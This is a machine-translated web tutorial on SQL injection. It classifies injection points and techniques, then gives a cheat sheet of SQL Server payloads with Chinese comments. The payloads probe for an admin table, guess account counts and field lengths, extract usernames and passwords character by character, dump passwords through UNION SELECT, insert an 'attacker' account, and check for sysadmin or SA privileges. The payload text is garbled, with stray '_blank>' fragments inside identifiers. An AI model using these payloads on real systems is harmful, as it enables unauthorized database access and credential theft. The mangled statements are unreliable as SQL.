What is a sql injection statement?

There are three types of SQL injection statements, namely: 1. Numeric injection point, with statements such as "select * from table name where id=1 and 1=1"; 2. Character injection points, with statements such as " select * from table name where name..."; 3. Search injection point.

The operating environment of this article: Windows 7 system, SQL Server 2016 version, Dell G3 computer.

Common SQL Injection Statements

SQL Injection

1. What is SQL Injection

By inserting SQL commands into Web forms Submit or enter the query string of the domain name or page request, and ultimately trick the server into executing malicious SQL commands.

2. SQL injection type

Classified according to injection point type

(1) Numeric injection point

Many web links have a similar structure http ://xxx.com/users.php?id=1 Injections based on this form are generally called digital injection points because the injection point ID type is a number. In most web pages, such as viewing the user's personal Information, viewing articles, etc., most of them use this form of structure to transfer information such as ID, hand it over to the backend, query the corresponding information in the database, and return it to the front desk. The prototype of this type of SQL statement is probably select * from table name where id=1 If there is injection, we can construct a SQL injection statement similar to the following for blasting: select * from table name where id=1 and 1=1

(2) Character injection point

The web link has a similar structure http://xxx.com/users.php?name= In the form of admin, the injection point name type is a character type, so it is called a character injection point. The prototype of this type of SQL statement is probably select * from table name where name='admin' It is worth noting that compared to the numeric injection type SQL statement prototype, there are more quotes, which can be single quotes. Or double quotes. If there is injection, we can construct a SQL injection statement similar to the following to blast: select * from table name where name='admin' and 1=1 ' We need to get rid of these annoying quotation marks .

(3) Search injection point

This is a special type of injection. This type of injection mainly refers to not filtering the search parameters when performing data searches. Generally, there are "keyword=keywords" in the link address. Some are not displayed in the link address, but directly through the search box. Form submission. The prototype of the SQL statement submitted by this type of injection point is roughly: select * from table name where field like '%keyword%' If there is injection, we can construct a SQL injection statement similar to the following. Explosion: select * from table name where fields like '%test%' and '%1%'='%1%'

Classify according to the method of data submission

(1) GET injection

The way to submit data is GET, and the location of the injection point is in the GET parameter section. For example, there is such a link http://xxx.com/news.php?id=1, id is the injection point.

(2) POST injection

Use POST method to submit data. The injection point is in the POST data part, which often occurs in forms.

(3) Cookie injection

HTTP request will bring the client's Cookie, and the injection point exists in a certain field in the Cookie.

(4) HTTP header injection

The injection point is in a certain field in the HTTP request header. For example, it exists in the User-Agent field. Strictly speaking, Cookie should actually be considered a form of header injection. Because during HTTP requests, Cookie is a field in the header.

Classified according to execution effect

(1) Boolean-based blind injection

is an injection that can determine whether the conditions are true or false based on the returned page.

(2) Time-based blind injection

That is, you cannot judge any information based on the content returned by the page. You can use conditional statements to check whether the time delay statement is executed (that is, whether the page return time increases).

(3) Injection based on error reporting

That is, the page will return error information, or the result of the injected statement will be returned directly to the page.

1. Single quotes
2. Double quotes
3. Based on numeric injection

(4) Union query injection

Injection in the case of union can be used.

Commonly used statements

1.判断有无注入点 
; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等.. 
and 0<>(select count(*) from *) 
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 
and 0<(select count(*) from admin) 
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. 
and 1=(select count(*) from admin where len(*)>0)-- 
and 1=(select count(*) from admin where len(用户字段名称name)>0) 
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 
and 1=(select count(*) from admin where len(*)>0) 
and 1=(select count(*) from admin where len(name)>6) 错误 
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确 
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 
and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符 
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
group by users.id having 1=1-- 
group by users.id, users.username, users.password, users.privs having 1=1-- 
; insert into users values( 666, attacker, foobar, 0xffff )--
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS
WHERE TABLE_blank>_NAME=logintable- 
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS
WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank
>_id)- 
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS
WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank
>_id,login_blank>_name)- 
UNION SELECT TOP 1 login_blank>_name FROM logintable- 
UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--
看_blank>服务器打的补丁=出错了打了SP4补丁 
and 1=(select @@VERSION)--
看_blank>数据库连接账号的权限，返回正常，证明是_blank>服务器角色sysadmin权限。 
and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--
判断连接_blank>数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA） 
and sa=(SELECT System_blank>_user)-- 
and user_blank>_name()=dbo-- 
and 0<>(select user_blank>_name()--

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